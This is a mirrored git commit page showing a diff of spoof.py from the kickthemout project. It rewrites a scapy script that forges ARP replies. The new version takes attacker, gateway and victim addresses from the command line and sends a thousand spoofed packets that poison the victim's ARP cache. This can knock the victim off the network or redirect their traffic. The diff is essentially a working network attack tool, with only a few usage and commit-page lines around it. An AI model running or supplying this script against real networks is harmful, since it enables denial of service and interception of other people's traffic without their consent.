mirror of
https://github.com/k4m4/kickthemout.git
synced 2024-11-25 14:34:23 +01:00
commit
bb5fe3956b
65
spoof.py
65
spoof.py
@ -1,31 +1,46 @@
|
||||
import scapy
|
||||
import sys
|
||||
from scapy.all import (
|
||||
get_if_hwaddr,
|
||||
getmacbyip,
|
||||
ARP,
|
||||
Ether,
|
||||
sendp
|
||||
)
|
||||
|
||||
from scapy.all import *
|
||||
try:
|
||||
my_mac = sys.argv[1]
|
||||
interface = sys.argv[2]
|
||||
my_ip = sys.argv[3]
|
||||
target_ip = sys.argv[4]
|
||||
target_mac = sys.argv[5]
|
||||
except:
|
||||
print "Usage: sudo python spoof.py [MY_MAC] [IFACE] [GATEWAY_IP] [TARGET_IP] [TARGET_MAC]"
|
||||
exit()
|
||||
|
||||
"""
|
||||
# GET MAC ADDRESS
|
||||
def get_mac_address():
|
||||
my_macs = [get_if_hwaddr(i) for i in get_if_list()]
|
||||
for mac in my_macs:
|
||||
if(mac != "00:00:00:00:00:00"):
|
||||
return mac
|
||||
my_mac = get_mac_address()
|
||||
if not my_mac:
|
||||
print "Cant get local mac address, quitting"
|
||||
sys.exit(1)
|
||||
"""
|
||||
my_mac = # MY MAC
|
||||
ether = Ether()
|
||||
ether.src = my_mac # Default: network card mac
|
||||
|
||||
# REQUEST Host_Target & Host_Impersonation
|
||||
arp = ARP()
|
||||
arp.psrc = my_ip
|
||||
arp.hwsrc = my_mac
|
||||
|
||||
"""
|
||||
target = raw_input("Enter host target: ")
|
||||
impersonation = raw_input("Enter host to impersonate: ")
|
||||
"""
|
||||
target = # TARGET MAC
|
||||
impersonation = # IMPERSONATION MAC
|
||||
arp = arp
|
||||
arp.pdst = target_ip # Default: 0.0.0.0
|
||||
arp.hwdst = target_mac # Default: 00:00:00:00:00:00
|
||||
|
||||
# CRAFT & SEND PACKET
|
||||
ether = ether
|
||||
ether.src = my_mac
|
||||
ether.dst = target_mac # Default: ff:ff:ff:ff:ff:f
|
||||
|
||||
packet = 'Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op="who-has", hwsrc='+my_mac+', psrc='+impersonation+', pdst='+target+')'
|
||||
sendp(packet)
|
||||
def craftRequestPkt():
|
||||
packet = ether/arp
|
||||
sendp(x=packet, inter=1, count=1000)
|
||||
|
||||
def craftReplyPkt():
|
||||
arp.op = 2
|
||||
packet = ether/arp
|
||||
sendp(x=packet, inter=1, count=1000)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
craftReplyPkt()
|
||||
|
Loading…
Reference in New Issue
Block a user